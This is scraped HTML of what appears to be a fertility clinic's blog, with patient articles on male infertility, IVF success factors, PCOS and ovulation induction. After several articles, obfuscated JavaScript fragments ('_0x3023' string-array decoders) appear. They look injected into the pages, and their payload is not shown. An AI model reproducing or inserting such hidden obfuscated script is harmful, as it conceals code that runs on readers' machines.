changes, medications, therapy/counseling or hormone-related treatments. Other treatment options include surgery or the use of assisted reproductive technology.\r\n\r\nFor men who cannot bring out semen (ejaculate) at all, also known as anejaculation, medications will typically be prescribed first. This, by itself, is usually successful. If not, surgery is usually the next option. Surgery can be used to correct a defect or remove a blockage. Varicocele surgery sometimes helps in improving the quality and quantity of sperms in semen.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>Types of Assisted Reproductive (ART) Technology</strong></span></h2>\r\nWhen medication and surgical methods prove to be unfruitful to cure male infertility, your doctor will prescribe other forms of treatment that do not involve having intercourse. These methods are also called assisted reproductive techniques. <strong>Some of them are as follows:</strong>\r\n<ol>\r\n 	<li><strong><a href=\"https://www.nufertility.com/in-vitro-fertilization-ivf\">IVF (In-vitro Fertilization)</a>:</strong> This is when the egg of a woman is retrieved from the ovaries and fertilized by sperm in laboratory conditions. After letting it grow for 3 to 5 days, the fertilized egg (embryo) is put back into the woman’s uterus.</li>\r\n 	<li><strong>IUI (Intrauterine Insemination):</strong> This involves placing the sperm into the woman’s uterus using a special tube. This method is often used when the man’s sperm count is low, and his sperm has low mobility. Or when there is retrograde ejaculation.</li>\r\n 	<li><strong>ICSI (Intracytoplasmic Sperm Injection):</strong> This is where a single sperm is physically inserted into an egg. This treatment option helps those having even the most severe male infertility problems. Because of this revolutionary method, up to 80 percent of infertile men have the potential to conceive with their partner.\r\nToday’s highly-advanced, revolutionary medical techniques and procedures have made it possible for couples to conceive and make their dreams come true no matter what the odds are.</li>\r\n</ol>\r\nFor more information on male infertility and its treatment options please meet <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nuhospitals.com/medical-specialities/andrology\" target=\"_blank\" rel=\"noopener\"><strong>Dr. Pramod Krishnappa</strong></a></span> or <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/book-an-appointment\" target=\"_blank\" rel=\"noopener\"><strong>book an appointment</strong></a></span> with one of our experienced urologists/andrologists.\r\n\r\n</div>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return 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is the <strong>IVF success rate</strong> and to decide<strong> when to go for IVF treatment</strong>. As we all know IVF has its limitations and a variety of factors influence the outcome. Some of them are under our control and some of them are not.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\">What is the Sucess Rate of IVF?</span></h2>\r\nThe outcome of an IVF cycle depends on the quality of the embryo which in turn depends on the <a href=\"https://www.nufertility.com/blog/increase-the-chances-of-pregnancy-with-ivf/\" target=\"_blank\" rel=\"noopener\"><strong>egg quality</strong></a> and the <a href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\" target=\"_blank\" rel=\"noopener\"><strong>sperm quality</strong></a>. Egg quality is mainly dependent on the age of the woman. As age increases, particularly in the late thirties, the chances of having aneuploid/ abnormal eggs increases.\r\n\r\n<strong>ICSI( intracytoplasmic sperm injection)</strong> can overcome most of the sperm-related problems but severely abnormal semen samples can give rise to poor quality embryos, thereby compromising the IVF success rates. Egg numbers are equally important. Studies show that IVF success increases as the number of eggs retrieved increases up to about 15 eggs. Thereafter there is no further increase in the success.\r\n\r\n<!--more-->\r\n<strong><span style=\"color: #ff0000;\">what are the main reasons for having repeated IVF Failure?</span></strong>\r\n\r\n</div>\r\nAbout 10-15% of IVF failures could be because of implantation failure as well. Mechanical factors like fibroids especially the submucous variety ( one which grows into the uterine cavity) and large intramural fibroids, adhesions inside the uterine cavity, adenomyosis, abnormally swollen tubes (hydrosalpinx), endometrial polyps, uterine anomalies like the septate uterus. Very few of them can have immunological dysregulation of the NK cells which causes rejection of the embryo.\r\n\r\nOptimal selection of IVF stimulation protocol is very important. As already mentioned egg numbers are important. Depending on the ovarian reserve tests patients can be categorized into hyper responders, normoresponders or poor responders. Giving the right dose of gonadotrophins helps in retrieving a good number of eggs(# 8-15) without subjecting the patient to the undue risk of ovarian hyperstimulation syndrome. Most of them fit into short protocols which takes about 10-12 days and long protocols are reserved for conditions like endometriosis or adenomyosis.\r\n\r\nThe most critical element in <a href=\"https://www.nufertility.com/blog/in-vitro-fertilisation/\" target=\"_blank\" rel=\"noopener\"><strong><span style=\"color: #3366ff;\">IVF (In-Vitro Fertilisation) success</span></strong></a> is the culture conditions provided in the IVF laboratory. A clean room with optimal VOC (volatile organic compounds) and the particulate count is an absolute requirement. Strict quality control measures should be in place. Good incubators and culture conditions along with the experience of the embryologist make a huge difference in the success of an IVF program.\r\n\r\nFreezing and survival rates of the embryos after thawing should be good for the centre if you are considering a <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/frozen-embryo-transfer\" target=\"_blank\" rel=\"noopener\"><strong>frozen embryo transfer</strong></a>.</span> The implantation of the embryo is compromised in a fresh IVF cycle because of the excessive estrogen hormone from the multiple eggs. This effect can be overcome by freezing all embryos in a fresh cycle and transferring them in a frozen cycle. Frozen embryo transfers are more physiological and implantation is very good. But a good freezing and vitrification program is a must to carry out an ‘all freeze’ cycle.\r\n\r\nThe technique of embryo transfer is again an important aspect. 30% of all IVF failures could be due to faulty transfers. It should be very gentle and meticulous. Where ever there is a difficulty, its a must to do a <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/blog/hysteroscopy/\" target=\"_blank\" rel=\"noopener\"><strong>hysteroscopy</strong></a></span> or a mock transfer or cervical dilatation before starting the cycle.\r\n\r\nAdequate luteal phase support with <strong>progesterone and estrogen</strong> is equally important after embryo transfer.\r\n\r\nSo choosing the <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/ivf-icsi\" target=\"_blank\" rel=\"noopener\"><strong>best IVF centre</strong></a></span> with a good clinical and embryological expertise and a clean room IVF lab with strict quality control measures goes a long way in determining the success of an IVF program.\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let 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of women. </strong>In women with <strong>polycystic ovaries,</strong> the ovaries are enlarged with multiple small cysts, which are nothing but the immature eggs which are not growing. These ovaries also have thick stroma which produces excessive androgens. They may also have an altered ratio of pituitary hormones- <strong>FSH and LH</strong> which interferes with ovulation. <strong>Excessive androgens</strong> are also responsible for acne and hirsutism.\r\n\r\n<!--more-->\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff6600;\"><strong>How do you know if you have Polycystic Ovaries?</strong></span></h2>\r\n<strong>Typically they will have one or more of these symptoms:</strong>\r\n<ol>\r\n 	<li><strong>Irregular and infrequent periods</strong> with either excessive flow or scanty flow.</li>\r\n 	<li>Acne.</li>\r\n 	<li>Hirsutism.</li>\r\n 	<li><strong>Weight gain</strong> worsens all these symptoms.</li>\r\n 	<li>The <strong>hormone test AMH</strong> is elevated and sometimes there is also an alteration of the FSH and LH ratio.</li>\r\n</ol>\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff6600;\"><strong>What causes PCOS?</strong></span></h2>\r\n<strong>Polycystic ovaries</strong> are a result of long term anovulation. It has a significant hereditary basis. Along with that weight gain and insulin resistance worsens the symptoms.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff6600;\"><strong>Why does PCOS cause infertility?</strong></span></h2>\r\n<strong>Infertility in PCOS</strong> is due to anovulation. Due to excessive androgens and altered hormonal milieu, follicular growth and ovulation do not happen.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>what is the treatment for PCOS associated with infertility?</strong></h2>\r\n<ol>\r\n 	<li>First and foremost thing in the treatment of PCOD associated infertility is <strong>weight loss</strong>. <strong>Even a 5-7 % weight loss</strong> can result in spontaneous ovulation.</li>\r\n 	<li> <strong><span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/ovulation-induction\" target=\"_blank\" rel=\"noopener\">Ovulation induction</a></span>:</strong> a variety of drugs like clomiphene citrate, letrazole and gonadotrophins like FSH  and HMG can be used to induce ovulation. The dosage should be titrated by doing serial follicular monitoring.  It also helps in timed intercourse.</li>\r\n 	<li>Sometimes when the ovaries do not respond to these drugs adjuvant medicines like metformin, myoinositol, and low dose steroids may also be used.</li>\r\n 	<li><strong>Surgical management:</strong> When the ovaries fail to respond to the ovulation induction drugs, <strong><span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/laparoscopic-and-hysteroscopic-surgeries\" target=\"_blank\" rel=\"noopener\">laparoscopy</a></span></strong> and ovarian drilling may be considered. This is particularly useful in lean <strong>PCOS</strong> and those with high <strong>LH.</strong></li>\r\n 	<li><strong>IVF</strong> may have to be considered if they fail to conceive even after 6 cycles of ovulation induction and 3-4 cycles of <strong><span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/semen-processing-and-iui\" target=\"_blank\" rel=\"noopener\">IUI</a></span>.</strong> These women are at high risk for ovarian hyperstimulation syndrome <strong>during IVF.</strong> Hence it is advised to avoid<strong> HCG trigger</strong> and instead use a GnRH agonist trigger. <strong>Freeze all</strong> embryos policy followed by Frozen embryo transfer provides an optimal outcome.</li>\r\n</ol>\r\n</div>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function 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line-height: 0;\" class=\"mce_SELRES_start\">﻿</span>\r\n{\r\n\"@context\": \"https://schema.org\",\r\n\"@type\": \"Article\",\r\n\"mainEntityOfPage\": {\r\n\"@type\": \"WebPage\",\r\n\"@id\": \"https://www.nufertility.com/blog/male-infertility-causes-treatment-art/\"\r\n},\r\n\"headline\": \"Male Infertility – What You Need To Know\",\r\n\"image\": [\r\n\"https://www.nufertility.com/blog/wp-content/uploads/2020/01/Male-Infertility.jpg\"],\r\n\"datePublished\": \"2020-10-01T18:41:26+05:30\",\r\n\"dateModified\": \"2019-10-01T10:56:43+05:30\",\r\n\"author\": {\r\n\"@type\": \"Person\",\r\n\"name\": \" Dr. Pramod Krishnappa\"\r\n},\r\n\"publisher\": {\r\n\"@type\": \"Organization\",\r\n\"name\": \"Nu Fertility\",\r\n\"logo\": {\r\n\"@type\": \"ImageObject\",\r\n\"url\": \"https://www.nufertility.com/blog/wp-content/uploads/2018/07/NU-FERTILITY-Final-c2c-.png\"\r\n}\r\n},\r\n\"description\": \"Male infertility is when a male&#039;s inability to cause pregnancy in a fertile female and can be treated with assisted reproductive technology. Book an appointment with experienced urologist/andrologist.\"\r\n}\r\n</script>\r\n<div style=\"text-align: justify;\">\r\n\r\nWhen a couple is ready to get pregnant, it should be the happiest and easiest thing in the world. However, for a large majority of couples, getting pregnant is not so easy. There are a number of complications that can arise, either in the man or woman, that can make getting pregnant extremely problematic.\r\n<!--more-->\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>What is male infertility?</strong></strong></span></h2>\r\nMale infertility is when the man is facing problems with his fertility and cannot get the woman pregnant. <strong>1 in every 6 couples face fertility issues</strong>, and 50% of the fertility cases are believed to be linked to the male.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>What factors can cause male infertility?</strong></span></h2>\r\nMale infertility can arise due to a number of reasons such as low sperm count, abnormally functioning sperm or blockages that prevent the delivery of sperm from the testicles to the penis. Certain past illnesses or chronic health problems, injuries, lifestyle choices, and other factors can also play a role in causing male infertility.\r\n\r\nIn most cases, the cause for male infertility is related to the process of making the sperm or the mobility of the sperm. Some men may have sperm that have a short life span. Other men may have a very <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\" target=\"_blank\" rel=\"noopener\"><strong>low sperm count</strong> </a></span>(also known as oligospermia). Some men cannot produce sperm at all (a condition called azoospermia). Most of the time, with the right medical/surgical treatments and lifestyle modifications, these problems can be reversed and cured. Other times, they, unfortunately, cannot. Consulting with the right andrologist/urologist and getting a complete check-up for the right path of treatment is the best way out.\r\n<h3 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>what are the treatments for Male Infertility?</strong></strong></span></h3>\r\n<h3 style=\"text-align: left; font-size: 13px; width: 100%;\"><strong>Surgical and Non-surgical Options</strong></h3>\r\nThe urologist will take a full medical history and do a routine but thorough physical examination. For most men, these steps will be enough to pinpoint the issue. However, some men will require a few extra exams to detect the underlying problem, if needed, such as an ultrasound, blood tests or a hormonal profile. These will help further check the potential cause.\r\n\r\nOnce the main issue has been found, the doctor will prescribe the best treatment options available. But on a positive note, most male infertility cases are treatable, allowing the couple to fulfill their dreams of having a child of their own.\r\n\r\nMale infertility can be treated<strong> with or without surgery</strong>, or with assisted reproductive technology treatments. The non-surgical options include lifestyle changes, medications, therapy/counseling or hormone-related treatments. Other treatment options include surgery or the use of assisted reproductive technology.\r\n\r\nFor men who cannot bring out semen (ejaculate) at all, also known as anejaculation, medications will typically be prescribed first. This, by itself, is usually successful. If not, surgery is usually the next option. Surgery can be used to correct a defect or remove a blockage. Varicocele surgery sometimes helps in improving the quality and quantity of sperms in semen.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>Types of Assisted Reproductive (ART) Technology</strong></span></h2>\r\nWhen medication and surgical methods prove to be unfruitful to cure male infertility, your doctor will prescribe other forms of treatment that do not involve having intercourse. These methods are also called assisted reproductive techniques. <strong>Some of them are as follows:</strong>\r\n<ol>\r\n 	<li><strong><a href=\"https://www.nufertility.com/in-vitro-fertilization-ivf\">IVF (In-vitro Fertilization)</a>:</strong> This is when the egg of a woman is retrieved from the ovaries and fertilized by sperm in laboratory conditions. After letting it grow for 3 to 5 days, the fertilized egg (embryo) is put back into the woman’s uterus.</li>\r\n 	<li><strong>IUI (Intrauterine Insemination):</strong> This involves placing the sperm into the woman’s uterus using a special tube. This method is often used when the man’s sperm count is low, and his sperm has low mobility. Or when there is retrograde ejaculation.</li>\r\n 	<li><strong>ICSI (Intracytoplasmic Sperm Injection):</strong> This is where a single sperm is physically inserted into an egg. This treatment option helps those having even the most severe male infertility problems. Because of this revolutionary method, up to 80 percent of infertile men have the potential to conceive with their partner.\r\nToday’s highly-advanced, revolutionary medical techniques and procedures have made it possible for couples to conceive and make their dreams come true no matter what the odds are.</li>\r\n</ol>\r\nFor more information on male infertility and its treatment options please meet <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nuhospitals.com/medical-specialities/andrology\" target=\"_blank\" rel=\"noopener\"><strong>Dr. Pramod Krishnappa</strong></a></span> or <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/book-an-appointment\" target=\"_blank\" rel=\"noopener\"><strong>book an appointment</strong></a></span> with one of our experienced urologists/andrologists.\r\n\r\n</div>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return 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\"Blog\",\r\n          \"mainEntityOfPage\": {\r\n            \"@type\": \"WebPage\",\r\n            \"@id\": \"https://www.nufertility.com/blog/things-to-know-before-opting-for-ivf/\"\r\n          },\r\n          \"headline\": \"Things To Know Before Opting For IVF\",\r\n          \"image\": [\r\n            \"https://www.nufertility.com/blog/wp-content/uploads/2018/11/Things-to-know-before-opting-for-IVF-1.jpg\"\r\n          ],\r\n          \"datePublished\": \"2018-04-15T\",\r\n          \"dateModified\": \"2020-02-21\",\r\n          \"author\": {\r\n            \"@type\": \"Person\",\r\n            \"name\": \"Nu\"\r\n          },\r\n          \"publisher\": {\r\n            \"@type\": \"Organization\",\r\n            \"name\": \"Nu fertility\",\r\n            \"logo\": {\r\n              \"@type\": \"ImageObject\",\r\n              \"url\": \"https://www.nufertility.com/blog/wp-content/uploads/2018/07/NU-FERTILITY-Final-c2c-.png\"\r\n            }\r\n          },\r\n          \"description\": \"NU Fertility brings to you the essential Things To Know Before Opting For IVF. Check out what you need to see before selecting the best IVF treatment in Bangalore.\"\r\n        }\r\n      </script>\r\n<div style=\"text-align: justify;\">\r\n\r\nOnce a couple decides to go ahead with IVF(In vitro fertilization), the next concern is the <strong>IVF success rate</strong> and to decide<strong> when to go for IVF treatment</strong>. As we all know IVF has its limitations and a variety of factors influence the outcome. Some of them are under our control and some of them are not.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\">What is the Sucess Rate of IVF?</span></h2>\r\nThe outcome of an IVF cycle depends on the quality of the embryo which in turn depends on the <a href=\"https://www.nufertility.com/blog/increase-the-chances-of-pregnancy-with-ivf/\" target=\"_blank\" rel=\"noopener\"><strong>egg quality</strong></a> and the <a href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\" target=\"_blank\" rel=\"noopener\"><strong>sperm quality</strong></a>. Egg quality is mainly dependent on the age of the woman. As age increases, particularly in the late thirties, the chances of having aneuploid/ abnormal eggs increases.\r\n\r\n<strong>ICSI( intracytoplasmic sperm injection)</strong> can overcome most of the sperm-related problems but severely abnormal semen samples can give rise to poor quality embryos, thereby compromising the IVF success rates. Egg numbers are equally important. Studies show that IVF success increases as the number of eggs retrieved increases up to about 15 eggs. Thereafter there is no further increase in the success.\r\n\r\n<!--more-->\r\n<strong><span style=\"color: #ff0000;\">what are the main reasons for having repeated IVF Failure?</span></strong>\r\n\r\n</div>\r\nAbout 10-15% of IVF failures could be because of implantation failure as well. Mechanical factors like fibroids especially the submucous variety ( one which grows into the uterine cavity) and large intramural fibroids, adhesions inside the uterine cavity, adenomyosis, abnormally swollen tubes (hydrosalpinx), endometrial polyps, uterine anomalies like the septate uterus. Very few of them can have immunological dysregulation of the NK cells which causes rejection of the embryo.\r\n\r\nOptimal selection of IVF stimulation protocol is very important. As already mentioned egg numbers are important. Depending on the ovarian reserve tests patients can be categorized into hyper responders, normoresponders or poor responders. Giving the right dose of gonadotrophins helps in retrieving a good number of eggs(# 8-15) without subjecting the patient to the undue risk of ovarian hyperstimulation syndrome. Most of them fit into short protocols which takes about 10-12 days and long protocols are reserved for conditions like endometriosis or adenomyosis.\r\n\r\nThe most critical element in <a href=\"https://www.nufertility.com/blog/in-vitro-fertilisation/\" target=\"_blank\" rel=\"noopener\"><strong><span style=\"color: #3366ff;\">IVF (In-Vitro Fertilisation) success</span></strong></a> is the culture conditions provided in the IVF laboratory. A clean room with optimal VOC (volatile organic compounds) and the particulate count is an absolute requirement. Strict quality control measures should be in place. Good incubators and culture conditions along with the experience of the embryologist make a huge difference in the success of an IVF program.\r\n\r\nFreezing and survival rates of the embryos after thawing should be good for the centre if you are considering a <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/frozen-embryo-transfer\" target=\"_blank\" rel=\"noopener\"><strong>frozen embryo transfer</strong></a>.</span> The implantation of the embryo is compromised in a fresh IVF cycle because of the excessive estrogen hormone from the multiple eggs. This effect can be overcome by freezing all embryos in a fresh cycle and transferring them in a frozen cycle. Frozen embryo transfers are more physiological and implantation is very good. But a good freezing and vitrification program is a must to carry out an ‘all freeze’ cycle.\r\n\r\nThe technique of embryo transfer is again an important aspect. 30% of all IVF failures could be due to faulty transfers. It should be very gentle and meticulous. Where ever there is a difficulty, its a must to do a <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/blog/hysteroscopy/\" target=\"_blank\" rel=\"noopener\"><strong>hysteroscopy</strong></a></span> or a mock transfer or cervical dilatation before starting the cycle.\r\n\r\nAdequate luteal phase support with <strong>progesterone and estrogen</strong> is equally important after embryo transfer.\r\n\r\nSo choosing the <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/ivf-icsi\" target=\"_blank\" rel=\"noopener\"><strong>best IVF centre</strong></a></span> with a good clinical and embryological expertise and a clean room IVF lab with strict quality control measures goes a long way in determining the success of an IVF program.\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let 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type=\"application/ld+json\">{\"@context\":\"https://schema.org\",\"@type\":\"FAQPage\",\"mainEntity\":[{\"@type\":\"Question\",\"name\":\"What is ovulation?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Usually each month one ovary will be stimulated by hormones produced in the brain. These cause a small cyst or follicle to grow on the ovary in which an egg develops. Another hormone then causes the follicle to release one egg to travel down the fallopian tube where it can be fertilized by the sperm which swims up from the vagina. This usually occurs around 14 days after the beginning of a period but can vary between 11  16 days.\"}},{\"@type\":\"Question\",\"name\":\"What is ovulation induction?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Ovulation induction is a simple process which encourages the ovaries to release eggs, to maximize your chance of conception through intercourse or artificial insemination (IUI). It suits women who are producing low levels of hormones for ovulation, or who are not ovulating at all. Medication in the form of tablets or injections needs to be taken to stimulate hormones for egg production.\"}},{\"@type\":\"Question\",\"name\":\"What is clomiphene citrate?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Clomiphene is a fertility drug that can increase the chance of ovulation occurring. It is an anti-estrogen and the most commonly used drug for inducing ovulation.\"}},{\"@type\":\"Question\",\"name\":\"How should Clomiphene be taken?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Clomiphene is taken for 5 days early in the menstrual cycle  typically from day 2 to 6 of the cycle or day 3 to day 7. It is taken orally at the same time every day.\"}},{\"@type\":\"Question\",\"name\":\"What are the potential side effects of clomiphene?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Bloating, pelvic pain, nausea, vomiting, insomnia, light-headedness, constipation, breast discomfort, fatigue and a change in menstrual flow can all occur while taking clomiphene. If you develop blurred or altered vision please discontinue clomiphene and contact the doctor.\"}},{\"@type\":\"Question\",\"name\":\"What are the chances of conceiving with clomiphene?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"For women whose only infertility problem is anovulation, up to 80% of patients will ovulate using this medication and 50% of those will conceive. Clomiphene may be combined with intrauterine insemination to boost the success of the medication by placing the sperm and egg in closer proximity to each other.\"}},{\"@type\":\"Question\",\"name\":\"What are gonadotrophins?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Gonadotropins are fertility medications that contain FSH or LH alone or in combination. In contrast to clomiphene, which is given by mouth, gonadotropins are given by injections. A related medication is hCG, which is structurally similar to LH and mimics the natural LH surge. There are a variety of commercially available gonadotropin preparations.\"}},{\"@type\":\"Question\",\"name\":\"When should I test for pregnancy?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Most menstrual cycles are approximately 28 days long and ovulation occurs 14 days prior to the onset of menstrual flow. If you are pregnant the menstrual flow will not come. Test for pregnancy using a home pregnancy test 28-30 days after your last menstrual period.\"}}]}</script><!--FAQPage Code Generated by https://saijogeorge.com/json-ld-schema-generator/faq/-->\r\n<div style=\"text-align: justify;\">\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What is ovulation?</strong></h2>\r\nUsually each month one ovary will be stimulated by hormones produced in the brain. These cause a small cyst or follicle to grow on the ovary in which an egg develops. Another hormone then causes the follicle to release one egg to travel down the fallopian tube where it can be fertilized by the sperm which swims up from the vagina. This usually occurs around 14 days after the beginning of a period but can vary between 11 – 16 days.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><!--more-->\r\n<strong>What is ovulation induction?</strong></h2>\r\n<em>Ovulation induction</em> is a simple process which encourages the ovaries to release eggs, to maximize your chance of conception through intercourse or <span style=\"color: #3366ff;\"><strong><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/semen-processing-and-iui\" target=\"_blank\" rel=\"noopener\"><em>artificial insemination (IUI)</em></a></strong></span>. It suits women who are producing low levels of hormones for ovulation, or who are not ovulating at all. Medication in the form of tablets or injections needs to be taken to stimulate hormones for egg production.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>Who needs ovulation induction?</strong></h2>\r\nIf a woman is not ovulating by herself then ovulation induction may be required.\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>The most common causes of failure to ovulate are</strong></strong></span></h3>\r\n<ul>\r\n 	<li>Stress</li>\r\n 	<li>Weight fluctuations</li>\r\n 	<li>Polycystic Ovarian Syndrome (PCOS)</li>\r\n</ul>\r\nOther causes may include disorders of the pituitary gland, thyroid gland, and raised prolactin levels. In some cases, failure of ovulation is due to the<strong> ovarian failure</strong>. This may occur following treatment for cancer or maybe the start of the menopause – premature ovarian failure.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What is clomiphene citrate?</strong></h2>\r\nClomiphene is a fertility drug that can increase the chance of ovulation occurring. It is an anti-estrogen and the most commonly used drug for inducing ovulation.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>How should Clomiphene be taken?</strong></h2>\r\nClomiphene is taken for 5 days early in the menstrual cycle – typically from day 2 to 6 of the cycle or day 3 to day 7. It is taken orally at the same time every day.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What are the potential side effects of clomiphene?</strong></h2>\r\nBloating, pelvic pain, nausea, vomiting, insomnia, light-headedness, constipation, breast discomfort, fatigue and a change in menstrual flow can all occur while taking clomiphene. If you develop blurred or altered vision please discontinue clomiphene and contact the doctor.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What are the chances of conceiving with clomiphene?</strong></h2>\r\nFor women whose only<em> <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/infertility-evaluation-and-workup\" target=\"_blank\" rel=\"noopener\"><strong>infertility problem</strong></a></span></em> is anovulation, up to 80% of patients will ovulate using this medication and <strong>50% of those will conceive.</strong> Clomiphene may be combined with intrauterine insemination to boost the success of the medication by placing the sperm and egg in closer proximity to each other.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What are gonadotrophins?</strong></h2>\r\n<strong>Gonadotropins</strong> are fertility medications that contain FSH or LH alone or in combination. In contrast to clomiphene, which is given by mouth, gonadotropins are given by injections. A related medication is hCG, which is structurally similar to LH and mimics the natural LH surge. There are a variety of commercially available gonadotropin preparations.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>How will the cycle be monitored while on ovulation induction drugs?</strong></h2>\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>Ultrasound:</strong></span></h3>\r\n<img class=\"alignright\" style=\"text-align: -webkit-center;\" title=\"Ultrasound Scan\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/02/i6.png\" alt=\"Ultrasound Scan\" width=\"300\" height=\"222\" />The doctor will often use one or more ultrasound scans to obtain an actual image of the ovaries and to regularly monitor follicle growth in the ovary beginning on or before day eight of the cycle, as follicles mature, they grow larger. Through ultrasound, the doctor will observe the effects of treatment on follicle growth and size, and decide when to give<strong> hCG injection</strong> (human chorionic gonadotrophin) to assist with the release of the egg.\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><span style=\"color: #ff0000;\"><b>Blood tests:</b></span></h3>\r\nTesting the blood every few days for oestrogen levels can monitor the response to treatment with FSH therapy.\r\n\r\nYour progesterone level is usually checked six to eight days after you ovulate <strong>(about day 21 of a day 28 cycle)</strong>. This is because progesterone levels rise following ovulation, peaking five to nine days after ovulation. This is known as your luteal phase. After the midluteal<strong> period,</strong> your serum progesterone levels will begin to fall if the egg is not fertilized.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What are the side effects of gonadotropins?</strong></h2>\r\nThere are potential risks and complications associated with the use of gonadotropins. Side effects should be discussed prior to taking these medications. Despite intensive monitoring, up to 30% of gonadotropin-stimulated pregnancies are multiple. Of the multiple pregnancies, about two-thirds are twins and one-third are triplets or more. Premature delivery is a known risk for multiple pregnancies. The greater the number of fetuses in the uterus, the greater the risk of premature delivery. Premature delivery can subject the newborn to complications such as severe respiratory distress, intracranial hemorrhage, infection, cerebral palsy, and death. Some patients pregnant with triplets or more choose to undergo a procedure known as multifetal pregnancy reduction in an effort to decrease these risks.\r\n\r\nIn addition to problems associated with high order multiple gestations, another serious side effect of gonadotropin therapy is ovarian hyperstimulation syndrome (OHSS)<strong>,</strong> in which the ovaries become swollen and painful. In severe cases, fluid accumulates in the abdominal cavity and chest. In about 2% of gonadotropin cycles, hyperstimulation may be severe enough to require hospitalization. Careful monitoring of ovulation induction cycles with the use of ultrasound and/or measurement of serum estradiol levels, in conjunction with adjustment of gonadotropin dosage, will enable the physician to identify risk factors and prevent most cases of severe OHSS. When serum estradiol levels are rapidly rising and/or too high, or an excessive number of ovarian follicles develop, one method of best prevention is to withhold further gonadotropin stimulation and delay hCG administration until estradiol levels plateau or decline. Alternately, hCG can be withheld so that ovulation fails to occur, thereby lessening the severity of OHSS.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>When should I test for pregnancy?</strong></h2>\r\nMost menstrual cycles are approximately <strong>28 days long and ovulation occurs 14 days</strong> prior to the onset of menstrual flow. If you are pregnant the menstrual flow will not come. Test for pregnancy using a home pregnancy test 28-30 days after your last menstrual period.\r\n\r\nIf your period does not come, continue to test for pregnancy every second day. Contact the <em><span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" 